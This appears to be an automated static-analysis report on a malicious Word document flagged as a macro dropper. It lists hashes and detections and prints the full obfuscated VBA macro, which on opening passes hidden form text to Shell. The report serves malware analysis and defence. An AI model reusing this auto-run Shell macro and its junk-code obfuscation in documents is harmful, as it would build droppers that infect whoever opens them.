Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 921c5e924e9c404e…

MALICIOUS

Office (OOXML)

95.1 KB Created: 2019-02-25 20:05:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-05-31
MD5: 10c0f8eab6293fa8c152f8ade817bc93 SHA-1: 4c90dd8366947331ba92243d3247af1454b1f44a SHA-256: 921c5e924e9c404e3aaa8bdae58c88dbd296963a1995a1877d9a597b5d1d9b73
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is an OOXML document containing a VBA macro that is automatically executed upon opening (Document_Open). This macro utilizes the Shell() function to download and execute a second-stage payload, as indicated by the ClamAV detection name 'Doc.Dropper.Agent-6874305-0'. The VBA code is obfuscated but clearly calls the Shell function, suggesting a dropper or downloader functionality.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6874305-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6874305-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2585 bytes
SHA-256: 163fea8915456716518066f1be0ada05868a767ec87f0232856efab3e8293270
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Public Function run(gB86OpY)
SZ0WaU = VBA.Shell(gB86OpY, 0)
Dim CtIBO As Long
CtIBO = Sgn(0)
Dim gtNQFoX As Boolean
gtNQFoX = False
DUzQs8qvN = "ipq6IQ3gKRZBweHgp"
TKwEvfn = -6176 + 6177
Urlaxe = -4050 + 4058
TieOl = Mid(DUzQs8qvN, TKwEvfn, Urlaxe)

Dim TmAMq As Single
TmAMq = 30589.575555392
Dim M5LgErxcX As Long
M5LgErxcX = 0
End Function
Sub Document_Open()


Dim odKox As Integer
odKox = -14474
bOCt9xw = "RocGfFURndWzG8pLzMsYx"
ujetIq = -587 + 591
gL7GkE8 = Mid(bOCt9xw, ujetIq, 22936 / 5734)
Call z
End Sub
Sub Document_Close()
End Sub

Attribute VB_Name = "i78Cdf2c"
Sub xt5FBfkEr()
Dim dunmO As Single
dunmO = Fix(47315.40843792)
Dim BtUh0 As Long
BtUh0 = Sgn(0)
End Sub
Public Sub z()
Dim K6aWPQS As Integer
K6aWPQS = Sgn(10360)
Dim YZTdR As Byte
YZTdR = 59
Dim LhOTNoH
LhOTNoH = Len(xqXLDM5n)
Dim peSdkilLX As Integer
peSdkilLX = -26153
Dim UPcDQqAJ As Boolean
UPcDQqAJ = True
W4GIVwp80 = "i7hVmYTyJYquX5p5dUOZsTM"
yFIzj = -4517 + 4521
DY6c4Bp = Mid(W4GIVwp80, yFIzj, 19056 / 3176)
Dim Zb7ULr8Y As Double
Zb7ULr8Y = Round(57366.188421752)
ThisDocument.run u3bJ8wl0E
Dim IWyjX As Byte
IWyjX = 54
Dim EPW4uzea6 As Boolean
EPW4uzea6 = True
End Sub

Attribute VB_Name = "I2eKb"
Sub F0vwto(jUgnL46D)
End Sub

Attribute VB_Name = "ktGuzwiEY"
Function hQRGZ() As Integer
Dim N2vCpEQR As Single
N2vCpEQR = 43261.441225814
hQRGZ = 6383 * 1
End Function
Function ZqV5Z() As Integer
Dim zIUCloEc As Integer
Dim qAbvL As Long
zIUCloEc = 14112 / 126
qAbvL = -430 + 454
ZqV5Z = zIUCloEc / qAbvL
End Function
Public Function u3bJ8wl0E()
Set CJbxdG8T = New fm
djuA9QIa = "Sv2M75dgODawjbiq4mqfpoa47L"
PdNWS = 1809 - 1807
FTd7qxLz0 = Mid(djuA9QIa, PdNWS, 20295 / 4059)
Dim Txz8Zr As Byte
Txz8Zr = 239
Dim lL0QuXIi
lL0QuXIi = StrConv(eZutL, vbUpperCase)
NiFBtXOmy = "Aj7J4nhbG1YK6VV9GZ0"
LKJCq = Mid(NiFBtXOmy, -4117 + 4120, 14004 / 4668)
u3bJ8wl0E = CJbxdG8T.txt.Text
End Function

Attribute VB_Name = "fm"
Attribute VB_Base = "0{D2F5513B-3010-4ADD-837C-09FD44BEC25B}{F9CE9129-73A3-4808-ACDE-4AC3A5AD0484}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 24576 bytes
SHA-256: d5459af725d5adf27f14e81f4fe6c457b348d4d361cd78ab180e1b8ae19dbef0
Detection
ClamAV: Doc.Dropper.Agent-6874305-0
Obfuscation or payload: unlikely

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